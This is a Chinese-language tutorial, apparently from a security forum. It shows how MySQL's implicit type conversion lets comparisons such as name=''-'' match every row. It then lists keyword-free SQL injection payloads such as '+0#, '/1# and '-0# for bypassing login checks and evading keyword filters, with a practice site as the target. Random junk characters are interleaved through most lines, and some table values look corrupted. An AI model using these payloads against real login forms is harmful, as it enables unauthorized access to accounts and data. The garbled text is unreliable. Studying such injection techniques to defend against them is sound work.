我们先来看这样一个场景。- s8 @0 R5 @" H5 a! c7 o
有以下表结构: , j1 C0 k7 Q" V* ?5 P& f, Y9 h
, Y, l! ~; Y j M V) X; r
mysql> desc admin;; \# l' H6 b+ Q. j
+----------+--------------+------+-----+---------+----------------+
- k1 `( ^$ ?' f8 H| Field | Type | Null | Key | Default | Extra |- F1 y6 F% p6 I* Y) t: y2 [
+----------+--------------+------+-----+---------+----------------+
/ O9 O' z' ~- X! @ S| id | mediumint(9) | NO | PRI | NULL | auto_increment |
+ C" S+ M, w# R+ R+ _4 x6 [) ?| name | char(32) | NO | UNI | NULL | |
- k: y. z8 \7 a! D+ U5 C| password | char(32) | NO | UNI | NULL | |
; | F# P: [4 m' D- j+----------+--------------+------+-----+---------+----------------+: ~ c8 z* }# r, j
3 rows in set (0.00 sec)# J. u- O; V7 C* b( s* P
执行select * from admin;,成功返回所有记录内容。" {) K3 [$ `" e/ z# w
3 R0 m) r7 Y" X2 ?/ r/ B, [2 q* M
, h: d7 t1 {' N& w/ F7 `+----+--------+----------------------------------+
5 D0 }0 S7 u. R* T| id | name | password |2 l6 i) C( s! {" I
+----+--------+----------------------------------+
) _" g( P# O/ S( m; |) n" i, ^| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
# s: _1 ]+ `/ g- V| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
8 h2 `) H1 l! V7 q' }| 4 | n00b | ff80e8508d39047460921792273533a4 |# I8 J* k& f( @$ Q: T/ \
+----+--------+----------------------------------+. `1 R: H$ w: h. j' O
3 rows in set (0.00 sec)
8 O# j/ _% ~. s9 H! G& P执行select * from admin where name=”;,没有匹配到任何记录。 , n4 a y* _0 U V$ K; q6 w$ G! U C
- {8 A8 Z% E$ W( k
mysql> select * from admin where name = '';0 c! ?$ Q2 K" Y% X8 B3 i$ W
Empty set (0.00 sec)
! }6 C) |# b: ^6 _3 s* | i. u W那么我们来执行select * from admin where name = ”-”;6 R2 Z% _4 f3 E) a" W' p& {
* @* A6 T3 c( n2 m
7 K- h( i% D5 c7 O8 F0 I" \6 r( a! y+----+--------+----------------------------------+6 ?3 u5 T. U+ T- H5 ~* }
| id | name | password |
. A; A u3 w. @& C+----+--------+----------------------------------+. s" f s5 M3 B7 q0 c2 j
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
! `* j. W- n4 h% j) w| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
: r: W# \* M. d: W" y7 P9 h9 A| 4 | n00b | ff80e8508d39047460921792273533a4 |/ n6 H# }( a0 z( u4 l
+----+--------+----------------------------------+/ l) K" t$ y& K1 A; L* o
3 rows in set, 3 warnings (0.00 sec)2 L) W4 f6 A7 ~3 R8 g1 h9 C8 c5 q
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: $ J) K! H1 m$ F7 j. ~
. T% K [9 N3 b
mysql> show warnings;. f# F: X+ E5 ]9 V0 X& c
+---------+------+------------------------------------------. e+ w6 `. \* s2 K( C8 ?8 o
| Level | Code | Message6 C/ u9 w4 `: r& x1 s- L% u# Z
+---------+------+------------------------------------------4 D% e l# Z" |9 I& q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin6 Y+ U H! o2 t! s2 w: P
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
: p r0 R" ^3 ^5 B$ V| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b% J' I1 |8 `1 s# Q+ _7 _% R- @
+---------+------+------------------------------------------5 E6 A6 }! F* E" w
3 rows in set (0.00 sec)
- D. b. q3 [5 F- U7 h$ @提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ' I/ O4 k0 g# b% }
- D. y* T" @" S; Xmysql> select ''-'';
7 e) I& G6 w" Q% H8 r+-------+( F' C% w+ o. l5 K9 E3 H
| ''-'' |
$ ]2 [0 {& I: Z- K; M+-------+4 j4 b- l. x% N, J i
| 0 |$ t, h% n: e: r
+-------+
: R1 Q4 v5 `1 Z, g# H; i N1 row in set (0.00 sec)
. k, _- i1 H" C0 B返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: / p% t1 |# K. {" a f% y/ m, b
$ S+ X, ~% x9 _: r
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
7 p0 ?& j1 X, y* a+-----------------------------------------------------+/ u) Y1 r$ z' O! O
| CAST((select name from admin limit 1,1) as DECIMAL) |7 s$ V$ z& s' g0 |9 I4 e2 S
+-----------------------------------------------------+
5 h x; E, K# `$ q. E# R1 ]- S| 0 |
w% y. H ^, H( @$ w+-----------------------------------------------------+
$ L+ f9 a Z- [2 M( ?5 P' ]1 row in set, 1 warning (0.00 sec)
% w+ R6 Q2 \$ }% x' r因此where语句构成了相等的条件,where 0=”=”,记录被返回。 7 d6 [- j% x. T' r1 V
% G \# S6 _& a/ P) t& r |
SQL注入场景: http://www.sqlzoo.net/hack/
& k* `! d0 N8 z7 Z; g$ k* z1 T
0 m p4 i; R k [+ K8 K$ P: ^8 x; @; H" O+ K
$ `# i! e; Y6 p2 _; r# y1 N
( W7 d% O4 W; C如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ( U. d; w; q! ?9 y, t
, k' M- |% l; r( @那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
/ u2 T5 R1 k/ u# w* x* V' L, I: ?3 s8 ~/ K* ]6 ~# z( ]! X
7 t& s1 ?0 j* ~$ B9 X# R0 J7 }( `1 X: ]& M: V6 U* [0 E
9 ~, n' I3 A5 R
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 % L! N" L/ P+ x1 R- H
8 T3 h/ V) k# C3 i& j+ C& G
& g3 L" Y3 p k2 K0 n- G
1 P0 M! D, C6 K除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
! D- `1 J, }# R1 A# K7 Q6 m; S4 h3 M' h d# k9 q
1 w4 V6 \! p$ U. t! e' ~
mysql> select ''/1; `+ |7 v: ~3 A8 l: t, q/ l
+------+# ?6 o1 b. f1 J- \' [
| ''/1 |" j$ H8 L" @5 l# c2 V4 q
+------+
: F1 z) y# m( Y- d2 ~| 0 |
. x; T7 ]- g6 e0 N( l7 ~+------+4 E( X0 Q0 n4 U: _; _" S
1 row in set (0.00 sec), L% ^9 H* h' a2 c: i
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
7 g& u1 v2 A0 Q; Z6 t
' @: p6 @& h5 x0 D. N2 M- \4 w/ Z利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。0 @/ ?" c- C5 x/ k
|
|